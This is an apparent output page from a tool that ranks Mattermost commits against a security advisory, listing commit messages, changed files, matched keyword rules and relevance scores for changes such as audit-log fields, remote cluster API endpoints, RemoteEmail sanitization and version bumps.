    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: field
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27446
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-56339] Audit logs: on login add UserId and SessionId to audit's Actor field (#27446) * on login add UserId and SessionId to audit's Actor field to match logout * lint * simplify to add only userId and sessionId * AddToEventActor -> AddUser/SessionToEventActor * fill in missing session data when logging the audit record * why did it bump that? reverting. * make modules-tidy * trigger build * add more context to the comment
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/api4/user_test.go - - server/channels/utils/merge_test.go - - server/channels/web/context.go - - server/go.mod - - server/go.sum - - server/public/go.mod - - server/public/go.sum - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-58004] Update logged fields of users (#26860) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9f312f48b5567f284a5226d6d6ddc8f6b432c341 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: field
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 26860
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-58004] Update logged fields of users (#26860)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/audit/audit_test.go - - server/public/model/user.go - - server/public/model/user_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-58003] Allow setting AdvancedLoggingJSON via mmctl (#27388) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3513d310af629523f6967e039f788bf1b6d0e2c0 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: allow
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27388
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-58003] Allow setting AdvancedLoggingJSON via mmctl (#27388)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/cmd/mmctl/commands/config.go - - server/cmd/mmctl/commands/config_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Correctly merge plugin configuration on mmctl config patch (#26647)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - bc49f348bf76b685461f7c036f7a7e415443870c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: configuration
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 26647
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Correctly merge plugin configuration on mmctl config patch (#26647) * Adds a step to the config patch command to merge plugin configurations * Fix linter --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/cmd/mmctl/commands/config.go - - server/cmd/mmctl/commands/config_test.go - - server/cmd/mmctl/commands/utils.go - - server/cmd/mmctl/commands/utils_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - chore: improvements to keycloak local development (#26518) * update... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4e32da62fa71dc4eae803866e91247aeb45d4e6f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file, test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: file
      -
    • - -
    • -
      The commit message references some github issue: 26518
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      chore: improvements to keycloak local development (#26518) * update keycloak docker image * update realm file with a compatible realm * import realm on start-docker command Since bitnami's image does not support importing directly, the import of the test realm is done in the make file start-docker action * Use official image from quay * updated realm keycloak config * final note about nickname attrib for saml * add admin user * update realm * Updated from master * Updated docs * local typo * use jq for ldap and saml * updated readme
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/Makefile - - server/build/docker-compose.common.yml - - server/build/docker/keycloak/ldap.mmsettings.json - - server/build/docker/keycloak/openid.mmsettings.json - - server/build/docker/keycloak/realm-export.json - - server/build/docker/keycloak/saml.mmsettings.json - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-58443] Migrate tooltips of... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9f396c9294144114ba182891e6d9c309fc8cf003 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27185
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-58443] Migrate tooltips of 'components/global_header/right_controls/saved_posts_button/saved_posts_button.tsx' to WithTooltip (#27185) * add withtooltip handling * add withtooltip handling * placed icon inside tooltip * Update saved_posts_button.tsx * Update saved_posts_button.tsx * Update saved_posts_button.test.tsx.snap * Update saved_posts_button.tsx --------- Co-authored-by: surajanthwal <surajanthwal2010@gmail.com> Co-authored-by: M-ZubairAhmed <m-zubairahmed@protonmail.com> Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/global_header/right_controls/saved_posts_button/__snapshots__/saved_posts_button.test.tsx.snap - - webapp/channels/src/components/global_header/right_controls/saved_posts_button/saved_posts_button.tsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Revert "Added GetPluginID method and tests (#27281)" (#27540) This... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6d427cf005e4013f230d3f74c51840ce6cc99efd -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27281, 27540
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Revert "Added GetPluginID method and tests (#27281)" (#27540) This reverts commit 4acc4796edb2c1ff93e861b4732c1c758ac76371.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/public/model/manifest.go - - server/public/model/manifest_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Skips flaky test on the remote cluster API (#27547) * Skips flaky... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3e4d91590fb5268d3ef04166115c91e7aac05fab -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27547
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Skips flaky test on the remote cluster API (#27547) * Skips flaky test on the remote cluster API * Adds ticket link to the `t.Skip`
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/api4/remote_cluster_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Adds Remote Cluster related API endpoints (#27432) * Adds Remote... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 809ad4f76d8358ec91a0b5dcafe1d92a32233ba2 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: console, test, connection, system
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: time, file, test
      -
    • - -
    • -
      The commit message references some github issue: 27432
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Adds Remote Cluster related API endpoints (#27432) * Adds Remote Cluster related API endpoints New endpoints for the following routes are added: - Get Remote Clusters at `GET /api/v4/remotecluster` - Create Remote Cluster at `POST /api/v4/remotecluster` - Accept Remote Cluster invite at `POST /api/v4/remotecluster/accept_invite` - Generate Remote Cluster invite at `POST /api/v4/remotecluster/{remote_id}/generate_invite` - Get Remote Cluster at `GET /api/v4/remotecluster/{remote_id}` - Patch Remote Cluster at `PATCH /api/v4/remotecluster/{remote_id}` - Delete Remote Cluster at `DELETE /api/v4/remotecluster/{remote_id}` These endpoints are planned to be used from the system console, and gated through the `manage_secure_connections` permission. * Update server/channels/api4/remote_cluster_test.go Co-authored-by: Doug Lauder <wiggin77@warpmail.net> * Fix AppError names --------- Co-authored-by: Doug Lauder <wiggin77@warpmail.net> Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - api/Makefile - - api/v4/source/definitions.yaml - - api/v4/source/introduction.yaml - - api/v4/source/remoteclusters.yaml - - server/channels/api4/apitestlib.go - - server/channels/api4/remote_cluster.go - - server/channels/api4/remote_cluster_test.go - - server/channels/app/app_iface.go - - server/channels/app/opentracing/opentracing_layer.go - - server/channels/app/platform/shared_channel_notifier.go - - server/channels/app/remote_cluster.go - - server/channels/app/slashcommands/command_remote.go - - server/channels/store/opentracinglayer/opentracinglayer.go - - server/channels/store/retrylayer/retrylayer.go - - server/channels/store/sqlstore/remote_cluster_store.go - - server/channels/store/store.go - - server/channels/store/storetest/mocks/RemoteClusterStore.go - - server/channels/store/storetest/remote_cluster_store.go - - server/channels/store/timerlayer/timerlayer.go - - server/channels/web/params.go - - server/i18n/en.json - - server/platform/services/remotecluster/invitation.go - - server/platform/services/remotecluster/mocks_test.go - - server/platform/services/remotecluster/ping.go - - server/platform/services/remotecluster/sendmsg.go - - server/platform/services/remotecluster/service.go - - server/platform/services/sharedchannel/sync_send.go - - server/public/model/client4.go - - server/public/model/remote_cluster.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-57942] Fix a panic on password is too long (#27449) * return... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - cc5e87ae249b1b4cdc25b44536f1df8a99de1f9e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27449
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-57942] Fix a panic on password is too long (#27449) * return error from bcrypt, handle gracefully; remove dead code * linting * linting * i18n * fix test * fill out translations
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/app/user.go - - server/channels/app/users/password.go - - server/channels/app/users/password_test.go - - server/channels/store/sqlstore/user_store.go - - server/channels/store/storetest/user_store.go - - server/i18n/en.json - - server/public/model/user.go - - server/public/model/user_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-56774: Delete file along with bookmark (#27495) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 90534b13cfd394936d14e659a390c971fd739164 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27495
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-56774: Delete file along with bookmark (#27495)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/store/sqlstore/channel_bookmark_store.go - - server/channels/store/storetest/channel_bookmark.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [chore] migration of plugin-store (#27506) Plugin store is gradually... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 762ff9b96cd0ff8d80de4015eaee800190b18ba4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: file, test
      -
    • - -
    • -
      The commit message references some github issue: 27506
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [chore] migration of plugin-store (#27506) Plugin store is gradually migrated from: - https://plugins-store.test.mattermost.com to - https://plugins.releases.mattermost.com We reflect that change here Note: Currently both CDN's are working as expected, to facilitate the mgiration. Upon succesfull migration, https://plugins-store.test.mattermost.com will be decomissioned
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/Makefile - - server/build/release.mk - - server/cmd/mmctl/commands/plugin_e2e_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Sanitize RemoteEmail user prop (#27170) (#27516) Automatic Merge - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: v9.5.8 -
    -
    -
    -
    -
    - - - - SEC_KEYWORDS_IN_MESSAGE - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 068c953393022b34244207435725bfb2a3545853 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some security-related keywords: sanitize
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27170, 27516
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Sanitize RemoteEmail user prop (#27170) (#27516) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/platform/services/sharedchannel/service.go - - server/platform/services/sharedchannel/sync_recv.go - - server/platform/services/sharedchannel/util.go - - server/public/model/shared_channel.go - - server/public/model/user.go - - server/public/model/user_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Sanitize RemoteEmail user prop (#27170) (#27512) Automatic Merge - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: v9.10.1 -
    -
    -
    -
    -
    - - - - SEC_KEYWORDS_IN_MESSAGE - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b7c6a9a9421c50af9a44f648e760d258c9787dc0 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some security-related keywords: sanitize
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27170, 27512
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Sanitize RemoteEmail user prop (#27170) (#27512) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/platform/services/sharedchannel/service.go - - server/platform/services/sharedchannel/sync_recv.go - - server/platform/services/sharedchannel/util.go - - server/public/model/shared_channel.go - - server/public/model/user.go - - server/public/model/user_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Sanitize RemoteEmail user prop (#27170) * Sanitize RemoteEmail user... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - SEC_KEYWORDS_IN_MESSAGE - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b32295e82370bc0425cbb43475d76f9acc895078 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some security-related keywords: sanitized, sanitize
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27170
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Sanitize RemoteEmail user prop (#27170) * Sanitize RemoteEmail user prop If the server is configured to hide user emails, the "RemoteEmail" user property will be sanitized as well, effectively hiding the real email of remote users. * fix merge conflict --------- Co-authored-by: Doug Lauder <wiggin77@warpmail.net> Co-authored-by: Mattermost Build <build@mattermost.com> (cherry picked from commit 2aff84a72e6515c2e0674c0271ae6a19c4bde5f1)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/platform/services/sharedchannel/service.go - - server/platform/services/sharedchannel/sync_recv.go - - server/platform/services/sharedchannel/util.go - - server/public/model/shared_channel.go - - server/public/model/user.go - - server/public/model/user_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update latest patch version to 9.5.8 (#27510) Automatic Merge - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: v9.5.8 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 98e51c9d452a0e9f67e43a6287354ad8c2d3d243 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version, test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: version
      -
    • - -
    • -
      The commit message references some github issue: 27510
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update latest patch version to 9.5.8 (#27510) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/public/model/version.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update latest patch version to 9.7.7 (#27509) Automatic Merge - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 05b7845bbcd14ccb598da88ed3ae7b52b83512a0 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version, test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: version
      -
    • - -
    • -
      The commit message references some github issue: 27509
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update latest patch version to 9.7.7 (#27509) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/public/model/version.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update latest patch version to 9.8.3 (#27508) Automatic Merge - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: v9.8.3 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5de01512cc59d2b57669a3822695276af0aab91f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version, test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: version
      -
    • - -
    • -
      The commit message references some github issue: 27508
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update latest patch version to 9.8.3 (#27508) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/public/model/version.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update latest minor version to 9.11.0 (#27496) Automatic Merge - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8dcd83976618f5e61a6fb3f8beb9307c9f67e730 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version, test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: version
      -
    • - -
    • -
      The commit message references some github issue: 27496
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update latest minor version to 9.11.0 (#27496) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/public/model/version.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-58509] Migrate tooltips of... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8b52ac3b8bd5007afb6f85806f03ef27fd80eafb -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: role, console
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: role, console
      -
    • - -
    • -
      The commit message references some github issue: 27242
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-58509] Migrate tooltips of "components/admin_console/user_grid/user_grid_role_dropdown.tsx" to WithTooltip (#27242)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/admin_console/user_grid/user_grid_role_dropdown.tsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-58405] Migrate tooltips of... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f36eb59f215ef4e81e9541dadfeebd13a5ba6279 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27244
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-58405] Migrate tooltips of 'components/announcement_bar/default_announcement_bar/announcement_bar' to WithTooltip (#27244) * Migrate tooltips of 'components/announcement_bar/default_announcement_bar/announcement_bar' to WithTooltip * Review fixes * Review fix * Fix imports * Update snapshots * Test fix --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/announcement_bar/__snapshots__/announcement_bar.test.tsx.snap - - webapp/channels/src/components/announcement_bar/default_announcement_bar/announcement_bar.test.tsx - - webapp/channels/src/components/announcement_bar/default_announcement_bar/announcement_bar.tsx - - webapp/channels/src/components/with_tooltip/index.tsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update latest patch version to 9.10.1 (#27497) Automatic Merge - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: v9.10.1 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d9bd84cea89c7cf3d879ed90f6ba1610090367a9 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version, test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: version
      -
    • - -
    • -
      The commit message references some github issue: 27497
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update latest patch version to 9.10.1 (#27497) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/public/model/version.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-57375: Update to latest minio image (#27475) * test with latest... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d20b55bde87f181a50ad97c99270373c9baa0b6f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: file
      -
    • - -
    • -
      The commit message references some github issue: 27475
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-57375: Update to latest minio image (#27475) * test with latest minio image * Update the KMS key - Also use latest config settings. The older ones were deprecated.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/build/docker-compose.common.yml - - server/platform/shared/filestore/s3store.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-59296] Can't open web client on iOS Safari (#27607) (#27696)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: v9.10.1 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 23993132c67b11e5d8a0d0d789b7079868200b63 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 27607, 27696
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-59296] Can't open web client on iOS Safari (#27607) (#27696) (cherry picked from commit 1ff54a31bca13ffb1675bab210c768f94990a2e7) Co-authored-by: M-ZubairAhmed <m-zubairahmed@protonmail.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/announcement_bar/notification_permission_bar/index.test.tsx - - webapp/channels/src/components/announcement_bar/notification_permission_bar/index.tsx - - webapp/channels/src/i18n/en.json - - webapp/channels/src/utils/notifications.test.ts - - webapp/channels/src/utils/notifications.ts - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Translations update from Mattermost Weblate (#27656) * Translated... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
